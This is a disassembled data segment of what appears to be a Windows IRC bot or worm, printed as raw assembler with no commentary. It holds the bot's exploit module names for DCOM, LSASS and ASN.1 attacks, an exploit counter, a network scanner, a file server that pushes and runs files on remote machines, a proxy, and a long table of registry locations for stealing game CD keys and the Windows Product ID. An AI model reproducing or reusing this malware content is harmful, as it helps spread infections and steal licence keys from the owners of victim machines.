db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFileSentToSE_0 db 'File sent to %s, executing %s on remote machine.',0
align 4
unk_427234 db 2 ; DATA XREF: seg000:00406D7Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToOpenFi db 'Failed to open file: %s (possible virus scan!)',0
align 4
unk_427284 db 2 ; DATA XREF: seg000:00406C8Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0
aOctet db 'octet',0 ; DATA XREF: seg000:00406C31o
align 8
aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_40776F+164o
db 2 dup(0)
aDcom135 db 'Dcom135',0 ; DATA XREF: seg000:00404ACFo
align 4
dd 5 dup(0)
dword_427300 dd 87h ; seg000:0040FDBEr ...
off_427304 dd offset sub_4033CB ; DATA XREF: sub_40776F+1E6r
dword_427308 dd 0 ; sub_402DDD+199r ...
dword_42730C dd 1 dword_427310 dd 0 aDcom445 db 'dcom445',0
dd 63440000h, 34346D6Fh, 35h, 5 dup(0)
dd 1BDh, 4033CBh, 0
dd 1, 0
aDcom1025 db 'dcom1025',0
align 2
aDcom1025_0 db 'Dcom1025',0
align 4
dd 5 dup(0)
dd 401h, 4033CBh, 0
dd 1, 0
aDcass db 'dcass',0
align 4
dd 63640000h, 737361h, 6 dup(0)
dd 1BDh, 402F84h, 0
dd 2 dup(1), 7361736Ch, 35343473h, 736C0000h, 34737361h
dd 3534h, 5 dup(0)
dd 1BDh, 403C8Bh, 0
dd 2 dup(1), 7361736Ch, 35333173h, 736C0000h, 31737361h
dd 3533h, 5 dup(0)
dd 87h, 403C8Bh, 0
dd 2 dup(1), 7361736Ch, 39333173h, 736C0000h, 31737361h
dd 3933h, 5 dup(0)
dd 8Bh, 403C8Bh, 0
dd 2 dup(1), 61736C63h, 7373h, 6C630000h, 73736173h, 6 dup(0)
dd 1BDh, 402DDDh, 0
dd 2 dup(1), 6C31736Ch, 73h, 736C0000h, 736C31h, 6 dup(0)
dd 1BDh, 403E3Ch, 0
dd 2 dup(1), 7173736Dh, 6Ch, 736D0000h, 6C7173h, 6 dup(0)
dd 599h, 404F08h, 0
dd 2 dup(1), 316E7361h, 6E626D73h, 736D0074h, 737361h
dd 6 dup(0)
dd 599h, 40514Ch, 0
dd 2 dup(1), 6C616572h, 74736163h, 65520000h, 61636C61h
dd 7473h, 5 dup(0)
dd 22Ah, 4052E0h, 0
dd 1, 0
aAsn1http db 'asn1http',0
align 2
aAsn1http_0 db 'asn1http',0
align 4
dd 5 dup(0)
dd 50h, 404907h, 0
dd 2 dup(1), 316E7361h, 626D73h, 73610000h, 6D73316Eh
dd 62h, 5 dup(0)
dd 1BDh, 404907h, 0
dd 2 dup(1), 7361736Dh, 73h, 73610000h, 6D73316Eh, 746E62h
dd 5 dup(0)
dd 8Bh, 404907h, 0
dd 2 dup(1), 0
aAsn1smbnt db 'asn1smbnt',0
byte_42766A db 1 ; DATA XREF: seg000:loc_41193Ar
; seg000:00411944o
aMsass db 'msass',0
align 4
dd 100h, 3 dup(0)
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407119+81o
align 4
aSD db ' %s: %d,',0 ; DATA XREF: sub_407119+42o
align 4
unk_4276A4 db 2 ; DATA XREF: sub_407119+11o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aExploitStatist db ' Exploit Statistics:',0
align 4
unk_4276DC db 2 ; DATA XREF: sub_4071E3+42o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanNotActive_ db ' Scan not active.',0
unk_427710 db 2 ; DATA XREF: sub_4071E3+2Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCurrentIpS_ db ' Current IP: %s.',0
align 4
unk_427744 db 2 ; DATA XREF: seg000:004075C9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartS db 'Failed to start server, error: <%d>.',0
align 4
dword_42778C dd 28026502h, 62302E31h, 20282029h, 70747468h, 1F6D2E64h
; DATA XREF: seg000:00407561o
; seg000:00411E74o
dd 206C1F64h, 0BB022029h, 202002BBh, 76726553h, 6C207265h
dd 65747369h, 676E696Eh, 206E6F20h, 203A5049h, 253A7325h
dd 44202C64h, 63657269h, 79726F74h, 7325203Ah, 2E5Ch, 28026502h
dd 62302E31h, 20282029h, 2E707466h, 1F641F6Dh, 2029206Ch
dd 2BBBB02h, 61462020h, 64656C69h, 206F7420h, 72617473h
dd 65732074h, 72657672h, 7265202Ch, 3A726F72h, 64253C20h
dd 2E3Eh, 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h, 65532020h, 72657672h, 61747320h
dd 64657472h, 206E6F20h, 74726F50h, 6425203Ah, 6946202Ch
dd 203A656Ch, 202C7325h, 75716552h, 3A747365h, 2E732520h
dd 0
dd 28026502h, 62302E31h, 20282029h, 70746674h, 1F6D2E64h
dd 206C1F64h, 0BB022029h, 202002BBh, 6C696146h, 74206465h
dd 7473206Fh, 20747261h, 76726573h, 202C7265h, 6F727265h
dd 3C203A72h, 2E3E6425h, 0
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerStartedO db 'Server started on Port: %d, File: %s, Request: %s.',0
align 10h
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_407636+38o
; sub_40A155+46o
unk_42791C db 2 ; DATA XREF: sub_40776F+EBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0
unk_427958 db 2 ; DATA XREF: sub_40776F+93o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
unk_4279A8 db 2 ; DATA XREF: sub_407983+1CEo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0
align 10h
unk_427A00 db 2 ; DATA XREF: sub_407983+173o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_0 db ' Failed to start worker thread, error: <%d>.',0
align 10h
unk_427A50 db 2 ; DATA XREF: sub_407983+103o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
unk_427A9C db 2 ; DATA XREF: sub_407983+87o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToInitia db ' Failed to initialize critical section.',0
align 4
unk_427AE8 db 2 ; DATA XREF: sub_407BE2+156o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartC db ' Failed to start client thread, error: <%d>.',0
align 4
unk_427B38 db 2 ; DATA XREF: sub_407BE2+E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0
unk_427B90 db 2 ; DATA XREF: sub_407D6A+1AAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_1 db ' Failed to start connection thread, error: <%d>.',0
align 4
unk_427BE4 db 2 ; DATA XREF: sub_407D6A+E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_427C3C db 2 ; DATA XREF: seg000:004081A0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_2 db 'Failed to start server on Port %d.',0
align 10h
unk_427C80 db 2 ; DATA XREF: seg000:0040817Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_3 db 'Failed to start client thread, error: <%d>.',0
unk_427CCC db 2 ; DATA XREF: seg000:00408102o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_427D24 db 2 ; DATA XREF: seg000:00408096o
; seg000:004126B7o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerStarte_0 db 'Server started on: %s:%d.',0
align 10h
unk_427D60 db 2 ; DATA XREF: seg000:004083ECo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0
unk_427DB4 db 2 ; DATA XREF: seg000:0040837Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0
dword_427E04 dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
; DATA XREF: seg000:004082E5o
dd 206C1F64h, 0BB022029h, 202002BBh, 68747541h, 69746E65h
dd 69746163h, 66206E6Fh, 656C6961h, 52202E64h, 746F6D65h
dd 73752065h, 64697265h, 7325203Ah, 203D2120h, 2E7325h
dd 0
dd 80000001h
off_427E5C dd offset aSoftwareValveC ; DATA XREF: sub_4085B7+Cr
; sub_4085B7+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_427E68 dd 2 dup(0) dd 80000001h, 428FF0h, 428FE4h, 428FD4h, 2 dup(0)
dd 80000001h, 428FB4h, 428FB0h, 428F9Ch, 2 dup(0)
dd 80000001h, 428F78h, 428FB0h, 428F6Ch, 2 dup(0)
dd 80000001h, 428F48h, 428F40h, 428F2Ch, 2 dup(0)
dd 80000001h, 428F18h, 428F08h, 428EECh, 2 dup(0)
dd 80000001h, 428EA8h, 429030h, 428E94h, 2 dup(0)
dd 80000002h, 428E68h, 428E5Ch, 428E3Ch, 2 dup(0)
dd 80000002h, 428E08h, 429030h, 428DF0h, 2 dup(0)
dd 80000002h, 428DBCh, 429030h, 428DA4h, 2 dup(0)
dd 80000002h, 428D8Ch, 429030h, 428D74h, 2 dup(0)
dd 80000002h, 428D38h, 438F9Ch, 428D28h, 2 dup(0)
dd 80000002h, 428CF0h, 438F9Ch, 428CDCh, 2 dup(0)
dd 80000002h, 428C90h, 438F9Ch, 428C70h, 2 dup(0)
dd 80000002h, 428C20h, 438F9Ch, 428BF4h, 2 dup(0)
dd 80000002h, 428BB8h, 438F9Ch, 428BA4h, 2 dup(0)
dd 80000002h, 428B6Ch, 438F9Ch, 428B5Ch, 2 dup(0)
dd 80000002h, 428B0Ch, 438F9Ch, 428AE0h, 2 dup(0)
dd 80000002h, 428AA0h, 438F9Ch, 428A84h, 2 dup(0)
dd 80000002h, 428A54h, 438F9Ch, 428A34h, 2 dup(0)
dd 80000002h, 4289F8h, 438F9Ch, 4289E4h, 2 dup(0)
dd 80000002h, 42899Ch, 438F9Ch, 42897Ch, 2 dup(0)
dd 80000002h, 428928h, 438F9Ch, 4288F8h, 2 dup(0)
dd 80000002h, 4288A8h, 438F9Ch, 42887Ch, 2 dup(0)
dd 80000002h, 42883Ch, 428834h, 428814h, 2 dup(0)
dd 80000002h, 4287D0h, 438F9Ch, 4287B4h, 2 dup(0)
dd 80000002h, 428768h, 438F9Ch, 428744h, 2 dup(0)
dd 80000002h, 428710h, 438F9Ch, 428704h, 2 dup(0)
dd 80000002h, 4286D0h, 438F9Ch, 4286C4h, 2 dup(0)
dd 80000002h, 428690h, 438F9Ch, 428684h, 2 dup(0)
dd 80000002h, 428650h, 438F9Ch, 428644h, 2 dup(0)
dd 80000002h, 428608h, 438F9Ch, 4285F4h, 2 dup(0)
dd 80000002h, 4285B8h, 438F9Ch, 4285A4h, 2 dup(0)
dd 80000002h, 428574h, 429030h, 428558h, 2 dup(0)
dd 80000002h, 428538h, 428530h, 42850Ch, 2 dup(0)
dd 80000002h, 4284F0h, 428530h, 4284D0h, 2 dup(0)
dd 80000002h, 4284B0h, 428530h, 42848Ch, 2 dup(0)
dd 80000002h, 428474h, 428530h, 428470h, 2 dup(0)
dd 80000002h, 428454h, 428444h, 42843Ch, 2 dup(0)
dd 80000002h, 428408h, 428404h, 4283ECh, 2 dup(0)
dd 80000002h, 4283B0h, 4283A4h, 42837Ch, 42836Ch, 428358h
dd 80000002h, 428334h, 428328h, 428314h, 428304h, 4282FCh
dd 80000002h, 428334h, 428328h, 4282D0h, 428304h, 4282C8h
dd 80000002h, 428334h, 428328h, 428298h, 428304h, 428290h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 4
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 4
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
aKey db 'key',0 ; DATA XREF: seg002:0042DE48o
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 10h
aNox db 'NOX',0
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 10h
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 10h
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 10h
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 10h
aSerial db 'Serial',0
align 4
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 4
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 4
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 10h
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 10h
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 10h
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 10h
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 4
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 4
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 4
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 4
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 4
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 4
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 10h
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 4
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 10h
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 10h
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 10h
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 10h
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 4
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 4
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 4
aCustomernumber db 'CustomerNumber',0
align 4
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 10h
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 10h
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 10h
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: seg002:00427E64o
aCdkey db 'CDKey',0 ; DATA XREF: seg002:00427E60o
align 4
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg002:off_427E5Co
align 10h
asc_429060: ; DATA XREF: sub_4085B7+E9o
; sub_4085B7+F4o
unicode 0, <=>,0
aR: ; DATA XREF: sub_4085B7+8Fo
; seg000:loc_41128Fo
unicode 0, <r>,0
aSS_3 db '%s\%s',0 ; DATA XREF: sub_4085B7+7Eo
; sub_408884+45o
align 10h
aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_4085B7+2Bo
align 4
unk_429084 db 2 ; DATA XREF: sub_40876C+C5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesFoundD_ db ' Files found: %d.',0
unk_4290B8 db 2 ; DATA XREF: sub_40876C+5Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForFi db ' Searching for file: %s.',0
align 4
aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408884+107o
align 4
aS_3 db '%s\*',0 ; DATA XREF: sub_408884+1Ao
align 4
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4089D6+C50o
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4089D6+C48o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4089D6:loc_409611o
align 10h
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4089D6+BE6o
align 10h
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4089D6+BD9o
align 10h
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4089D6+BCCo
align 10h
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4089D6+BBFo
align 10h
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4089D6+BB2o
align 10h
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4089D6+BAAo
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4089D6:loc_409573o
align 10h
